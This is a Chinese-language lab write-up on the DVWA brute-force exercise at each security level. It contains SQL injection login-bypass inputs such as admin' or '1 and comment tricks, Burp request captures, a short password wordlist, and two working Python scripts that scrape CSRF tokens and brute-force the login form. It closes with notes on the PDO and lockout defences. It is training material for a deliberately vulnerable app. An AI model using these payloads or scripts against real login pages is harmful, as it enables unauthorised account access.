# DVWA Brute Force ###### tags: `DVWA` ## Low: **分析code** * get 傳值 * username 沒過濾 * password 沒過濾 但md5 hash了 * sql 直接拼接 所以可以sql 注入 <br/> <br/> 因此我們可以使用 username 來注入 ```php= $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //自己把 query 打印一下 並且 exit() var_dump($query); exit(); ``` <br/> <br/> 先隨變輸入並且dump 語句分析: ```php= username = 11111111111111 password = 22222222222222 string(102) "SELECT * FROM `users` WHERE user = '11111111111111' AND password = '26c924b47cf221582c9d5aede42dadf5';" ``` <br/> <br/> 使用單引號前後閉合,密碼已經不重要了,不可控 ```php= username = admin' or '1 password = 成功 string(100) "SELECT * FROM `users` WHERE user = 'admin' or '1' AND password = 'd41d8cd98f00b204e9800998ecf8427e';" ``` <br/> <br/> 可以理解一下為沒閉合為何報錯 ```php= username = admin' or 1 # password = 失敗報錯: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND password = 'd41d8cd98f00b204e9800998ecf8427e'' at line 1 username = admin' or '1' = '1 password = 成功 ``` <br/> <br/> 註釋繞過 ```php= #號繞過 username = admin' # password = 成功 -- (空格) (不加空格會失敗) username = admin' -- password = 成功 ``` 以上為sql 繞過方式,接下來是題目要求的brute force: <br/> burpsuite 抓包 ```http= GET /vulnerabilities/brute/?username=11111111111111111&password=2222222222222222222&Login=Login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/vulnerabilities/brute/ Cookie: wp-settings-time-1=1666091374; PHPSESSID=a9f10ad57eff3bee65f1769861e2919e; security=low Upgrade-Insecure-Requests: 1 ``` 選擇runtime file 字典檔 bf.txt ``` a b c d password ``` 最後會依據封包長度來判斷response的內容,通常不一樣的就是答案 密碼:password <br/> <br/> ## Medium * mysqli_real_escape_string 轉譯單引號 (斜槓 + 單引號),無法sql 注入了 * 但5.4 sql 可以用 寬字節繞過 ```php= $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); ``` 登入失敗加上2秒 ```php= // Login failed sleep( 2 ); $html .= "<pre><br />Username and/or password incorrect.</pre>"; ``` 還是可以用爆破只是時間比較久。 <br/> <br/> ## High * stripslashes 去掉 / * mysqli_real_escape_string 單引號轉譯 / + ' * token 值 token 驗證: ``` checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); ``` 失敗睡0-3秒 ``` // Login failed sleep( rand( 0, 3 ) ); $html .= "<pre><br />Username and/or password incorrect.</pre>"; ``` bp: ```http= GET /vulnerabilities/brute/?username=111111111&password=22222222222&Login=Login&user_token=659aba0ee90e738b8974e2be535454b2 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/vulnerabilities/brute/ Cookie: wp-settings-time-1=1666091374; PHPSESSID=a9f10ad57eff3bee65f1769861e2919e; security=high Upgrade-Insecure-Requests: 1 ``` 這邊思路是使用爬蟲。 寫一個爬蟲 功能是,抓取最新頁面的token,然後get請求送出 參考:https://lonelysec.com/dvwa%ef%bc%88damn-vulnerable-web-application%ef%bc%89-brute-force/ python: ```python= import urllib2 import re #輸入當前IP地址 IP = '192.168.43.96' #輸入自己當前的sessionid PHPSESSID = '61adb5af7a80da7bba6a0d22110e39a4' #設定cookie opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'security=high; PHPSESSID=' + PHPSESSID)) #爆破字典 usernames = ['admin','manage','system','root','whoami'] passwords = ['admin','root','123456','password','abc123','111111','654321','000000'] #確認破解範圍 flag=0 for username in usernames: if flag==1: break for password in passwords: #訪問首頁 response = opener.open('http://' + IP + '/vulnerabilities/brute/') content = response.read() #獲取user_token user_token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0] #傳送登入資料包 url = 'http://'+IP+'/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token response = opener.open(url) content = response.read() #確認破解結果 print '-'*20 print u'使用者名稱:'+username print u'密碼:'+password if 'Username and/or password incorrect.' in content: print u'Fail...' else: print u'Success~' flag=1 break print '-'*20 ``` 正則表達: ``` r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)" ``` ``` r"" 代表""裡面的是正則式 (?<=xxx) 代表xxx開頭 . 匹配除“\n”之外的任何单个字符。要匹配包括“\n”在内的任何字符 + 代表匹配前面的子表达式一次或多次。例如,“zo+”能匹配“zo”以及“zoo”,但不能匹配“z” ? 代表非貪婪 (?=xxx)代表以xxx結尾 ``` ### 另一種BP 外掛 ,其實原理一模一樣。 CSRF Token Tracker logger++ 這邊我以前實驗過,可以成功,最新不知道是不是版本出問題,不會自動抓token <br/><br/> ### 不然用postman + curl + python 自己拼一拼。 postman 加上 需要的 header 然後 get 請求,轉成 curl 命令 我們在加上 -s 參數 不顯示進度條 ```bash= curl -s --location --request GET 'http://192.168.43.96/vulnerabilities/brute/' --header 'Cookie: PHPSESSID=6db3502521fc376f123936246f53c91d; security=high' ``` curl 請求會拿到 html,在搜索token,在加上token 送出 ```python import os import re pwd_list = ['admin','123','666'] for pwd in pwd_list: host = "http://192.168.43.96/vulnerabilities/brute/" username = "?username=admin" password = "&password=" login="&Login=Login" user_token="&user_token=" # cmd execute curl and get token ############################################# cmd = "curl -s --location --request GET " + host + " --header 'Cookie: PHPSESSID=6db3502521fc376f123936246f53c91d; security=high' " cmd_result = os.popen(cmd) pattern = "(?<=user_token\' value=\')\w*" #re.findall return a list regex_result = re.findall(pattern , cmd_result.read()) token = ''.join(regex_result) ############################################# password += pwd user_token += token url = host + username + password + login + user_token url ="'" + url + "'" #final request cmd2 = "curl -s --location --request GET " + url + " --header 'Cookie: PHPSESSID=6db3502521fc376f123936246f53c91d; security=high' " cmd2_result = os.popen(cmd2) #成功登入會有以下字串 key_word = "Welcome to the password protected area admin" #搜索字串 find_result = cmd2_result.read().find(key_word) #有找到就顯示密碼 if(find_result != -1): print("password found: "+pwd) ``` <br/> <br/> # impossilbe * mysqli_real_escape_string * stripslashes PDO 防sql 注入 ``` $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); ``` 延時 三次失敗 鎖15分 ``` // Default values $total_failed_login = 3; $lockout_time = 15; $account_locked = false; ``` ## 後記: high 難度 我一開始想用 fetch 去抓token 最後因為CROS 同源政策檔掉了。所以只能改爬蟲思路。 <br/> <br/> <br/> <br/>